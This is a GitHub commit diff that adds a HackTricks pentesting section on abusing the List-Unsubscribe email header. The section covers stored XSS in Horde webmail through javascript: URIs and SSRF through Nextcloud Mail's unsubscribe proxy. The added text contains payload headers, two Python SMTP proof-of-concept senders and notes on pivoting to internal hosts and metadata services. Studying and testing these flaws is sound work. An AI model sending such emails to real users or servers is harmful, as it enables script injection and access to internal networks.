Skip to content

Commit 6533f28

Browse files
authored
Merge pull request #1709 from HackTricks-wiki/update_XSS_and_SSRF_via_the_List-Unsubscribe_SMTP_Header__20251223_183313
XSS and SSRF via the List-Unsubscribe SMTP Header in Horde W...
2 parents 4488a17 + f350cd3 commit 6533f28

File tree

1 file changed

+114
-0
lines changed
  • src/pentesting-web/xss-cross-site-scripting

1 file changed

+114
-0
lines changed

src/pentesting-web/xss-cross-site-scripting/README.md

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1780,6 +1780,118 @@ The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn
17801780

17811781
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
17821782

1783+
### List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
1784+
1785+
The RFC 2369 `List-Unsubscribe` header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into "Unsubscribe" buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).
1786+
1787+
#### Stored XSS via `javascript:` URIs
1788+
1789+
1. **Send yourself an email** where the header points to a `javascript:` URI while keeping the rest of the message benign so that spam filters do not drop it.
1790+
2. **Ensure the UI renders the value** (many clients show it in a "List Info" pane) and check whether the resulting `<a>` tag inherits attacker-controlled attributes such as `href` or `target`.
1791+
3. **Trigger execution** (e.g., CTRL+click, middle-click, or "open in new tab") when the link uses `target="_blank"`; browsers will evaluate the supplied JavaScript in the origin of the webmail application.
1792+
4. Observe the stored-XSS primitive: the payload persists with the email and only requires a click to execute.
1793+
1794+
```text
1795+
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
1796+
List-Unsubscribe-Post: List-Unsubscribe=One-Click
1797+
```
1798+
1799+
The newline byte (`%0a`) in the URI shows that even unusual characters survive the rendering pipeline in vulnerable clients such as Horde IMP H5, which will output the string verbatim inside the anchor tag.
1800+
1801+
<details>
1802+
<summary>Minimal SMTP PoC that delivers a malicious List-Unsubscribe header</summary>
1803+
1804+
```python
1805+
#!/usr/bin/env python3
1806+
import smtplib
1807+
from email.message import EmailMessage
1808+
1809+
smtp_server = "mail.example.org"
1810+
smtp_port = 587
1811+
smtp_user = "user@example.org"
1812+
smtp_password = "REDACTED"
1813+
sender = "list@example.org"
1814+
recipient = "victim@example.org"
1815+
1816+
msg = EmailMessage()
1817+
msg.set_content("Testing List-Unsubscribe rendering")
1818+
msg["From"] = sender
1819+
msg["To"] = recipient
1820+
msg["Subject"] = "Newsletter"
1821+
msg["List-Unsubscribe"] = "<javascript://evil.tld/%0aconfirm(document.domain)>"
1822+
msg["List-Unsubscribe-Post"] = "List-Unsubscribe=One-Click"
1823+
1824+
with smtplib.SMTP(smtp_server, smtp_port) as smtp:
1825+
smtp.starttls()
1826+
smtp.login(smtp_user, smtp_password)
1827+
smtp.send_message(msg)
1828+
```
1829+
1830+
</details>
1831+
1832+
#### Server-side unsubscribe proxies -> SSRF
1833+
1834+
Some clients, such as the Nextcloud Mail app, proxy the unsubscribe action server-side: clicking the button instructs the server to fetch the supplied URL itself. That turns the header into an SSRF primitive, especially when administrators set `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), which allows requests toward loopback and RFC1918 ranges.
1835+
1836+
1. **Craft an email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
1837+
2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** so the UI shows a single-click unsubscribe button.
1838+
3. **Satisfy trust requirements**: Nextcloud, for example, only performs HTTPS unsubscribe requests when the message passes DKIM, so the attacker must sign the email using a domain they control.
1839+
4. **Deliver the message to a mailbox processed by the target server** and wait until a user clicks the unsubscribe button.
1840+
5. **Observe the server-side callback** at the collaborator endpoint, then pivot to internal addresses once the primitive is confirmed.
1841+
1842+
```text
1843+
List-Unsubscribe: <http://abcdef.oastify.com>
1844+
List-Unsubscribe-Post: List-Unsubscribe=One-Click
1845+
```
1846+
1847+
<details>
1848+
<summary>DKIM-signed List-Unsubscribe message for SSRF testing</summary>
1849+
1850+
```python
1851+
#!/usr/bin/env python3
1852+
import smtplib
1853+
from email.message import EmailMessage
1854+
import dkim
1855+
1856+
smtp_server = "mail.example.org"
1857+
smtp_port = 587
1858+
smtp_user = "user@example.org"
1859+
smtp_password = "REDACTED"
1860+
dkim_selector = "default"
1861+
dkim_domain = "example.org"
1862+
dkim_private_key = """-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----"""
1863+
1864+
msg = EmailMessage()
1865+
msg.set_content("One-click unsubscribe test")
1866+
msg["From"] = "list@example.org"
1867+
msg["To"] = "victim@example.org"
1868+
msg["Subject"] = "Mailing list"
1869+
msg["List-Unsubscribe"] = "<http://abcdef.oastify.com>"
1870+
msg["List-Unsubscribe-Post"] = "List-Unsubscribe=One-Click"
1871+
1872+
raw = msg.as_bytes()
1873+
signature = dkim.sign(
1874+
message=raw,
1875+
selector=dkim_selector.encode(),
1876+
domain=dkim_domain.encode(),
1877+
privkey=dkim_private_key.encode(),
1878+
include_headers=["From", "To", "Subject"]
1879+
)
1880+
msg["DKIM-Signature"] = signature.decode().split(": ", 1)[1].replace("\r", "").replace("\n", "")
1881+
1882+
with smtplib.SMTP(smtp_server, smtp_port) as smtp:
1883+
smtp.starttls()
1884+
smtp.login(smtp_user, smtp_password)
1885+
smtp.send_message(msg)
1886+
```
1887+
1888+
</details>
1889+
1890+
**Testing notes**
1891+
1892+
- Use an OAST endpoint to collect blind SSRF hits, then adapt the `List-Unsubscribe` URL to target `http://127.0.0.1:PORT`, metadata services, or other internal hosts once the primitive is confirmed.
1893+
- Because the unsubscribe helper often reuses the same HTTP stack as the application, you inherit its proxy settings, HTTP verbs, and header rewrites, enabling further traversal tricks described in the [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
1894+
17831895
### XSS uploading files (svg)
17841896

17851897
Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
@@ -1860,6 +1972,8 @@ other-js-tricks.md
18601972

18611973
## References
18621974

1975+
- [XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail](https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/)
1976+
- [HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF](https://hackerone.com/reports/2902856)
18631977
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
18641978
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
18651979

0 commit comments

Comments
 (0)